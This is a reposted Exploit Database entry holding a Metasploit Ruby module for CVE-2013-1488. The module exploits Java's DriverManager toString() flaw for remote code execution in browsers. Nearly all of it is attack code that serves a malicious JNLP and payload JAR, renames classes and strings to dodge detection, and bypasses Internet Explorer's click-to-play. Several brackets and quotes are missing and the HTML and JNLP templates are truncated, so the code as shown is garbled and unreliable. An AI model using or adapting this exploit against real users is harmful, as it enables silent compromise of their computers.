Java Applet – Driver Manager Privileged ‘toString()’ Remote Code Execution (Metasploit)

Exploit Database
111 阅读

作者： Metasploit

日期： 2013-06-11
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/26135/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

require 'rex'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({ :javascript => false })

def initialize( info = {} )

super( update_info( info,

'Name'=> 'Java Applet Driver Manager Privileged toString() Remote Code Execution',

'Description' => %q{

This module abuses the java.sql.DriverManager class where the toString() method

is called over user supplied classes, from a doPrivileged block. The vulnerability

affects Java version 7u17 and earlier. This exploit bypasses click-to-play on IE

throw a specially crafted JNLP file. This bypass is applied mainly to IE, when Java

Web Start can be launched automatically throw the ActiveX control. Otherwise the

applet is launched without click-to-play bypass.

'License' => MSF_LICENSE,

'Author'=>

[

'James Forshaw', # Vulnerability discovery and Analysis

'juan vazquez' # Metasploit module

'References'=>

[

[ 'CVE', '2013-1488' ],

[ 'OSVDB', '91472' ],

[ 'BID', '58504' ],

[ 'URL', 'http://www.contextis.com/research/blog/java-pwn2own/' ],

[ 'URL', 'http://immunityproducts.blogspot.com/2013/04/yet-another-java-security-warning-bypass.html' ],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-076/' ]

'Platform'=> [ 'java', 'win', 'osx', 'linux' ],

'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },

'Targets' =>

[

[ 'Generic (Java Payload)',

{

'Platform' => ['java'],

'Arch' => ARCH_JAVA,

}

[ 'Windows x86 (Native Payload)',

{

'Platform' => 'win',

'Arch' => ARCH_X86,

}

[ 'Mac OS X x86 (Native Payload)',

{

'Platform' => 'osx',

'Arch' => ARCH_X86,

}

[ 'Linux x86 (Native Payload)',

{

'Platform' => 'linux',

'Arch' => ARCH_X86,

}

'DefaultTarget'=> 0,

'DisclosureDate' => 'Jan 10 2013'

))

end

def setup

path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "Exploit.class")

@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "FakeDriver.class")

@driver_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "FakeDriver2.class")

@driver2_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "META-INF", "services", "java.lang.Object")

@object_services = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "META-INF", "services", "java.sql.Driver")

@driver_services = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

@exploit_class_name = rand_text_alpha("Exploit".length)

@exploit_class.gsub!("Exploit", @exploit_class_name)

@jnlp_name = rand_text_alpha(8)

super

end

def jnlp_file

jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"

jnlp = %Q|

<?xml version="1.0" encoding="utf-8"?>

<title>Applet Test JNLP</title>

<vendor>#{rand_text_alpha(8)}</vendor>

<description>#{rand_text_alpha(8)}</description>

<offline-allowed/>

</information>

</resources>

<applet-desc name="#{rand_text_alpha(8)}" main-class="#{@exploit_class_name}" width="1" height="1">

</applet-desc>

</jnlp>

return jnlp

end

def on_request_uri(cli, request)

print_status("handling request for #{request.uri}")

case request.uri

when /\.jnlp$/i

send_response(cli, jnlp_file, { 'Content-Type' => "application/x-java-jnlp-file" })

when /\.jar$/i

jar = payload.encoded_jar

jar.add_file("#{@exploit_class_name}.class", @exploit_class)

jar.add_file("FakeDriver.class", @driver_class)

jar.add_file("FakeDriver2.class", @driver2_class)

jar.add_file("META-INF/services/java.lang.Object", @object_services)

jar.add_file("META-INF/services/java.sql.Driver", @driver_services)

metasploit_str = rand_text_alpha("metasploit".length)

payload_str = rand_text_alpha("payload".length)

jar.entries.each { |entry|

entry.name.gsub!("metasploit", metasploit_str)

entry.name.gsub!("Payload", payload_str)

entry.data = entry.data.gsub("metasploit", metasploit_str)

entry.data = entry.data.gsub("Payload", payload_str)

}

jar.build_manifest

send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })

when /\/$/

payload = regenerate_payload(cli)

if not payload

print_error("Failed to generate the payload.")

send_not_found(cli)

return

end

send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })

else

send_redirect(cli, get_resource() + '/', '')

end

def generate_html

jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"

# When the browser is IE, the ActvX is used in order to load the malicious JNLP, allowing click2play bypass

# Else an <applet> tag is used to load the malicious applet, this time there isn't click2play bypass

html = %Q|

<html>

<body>

</object>

</body>

</html>

return html

end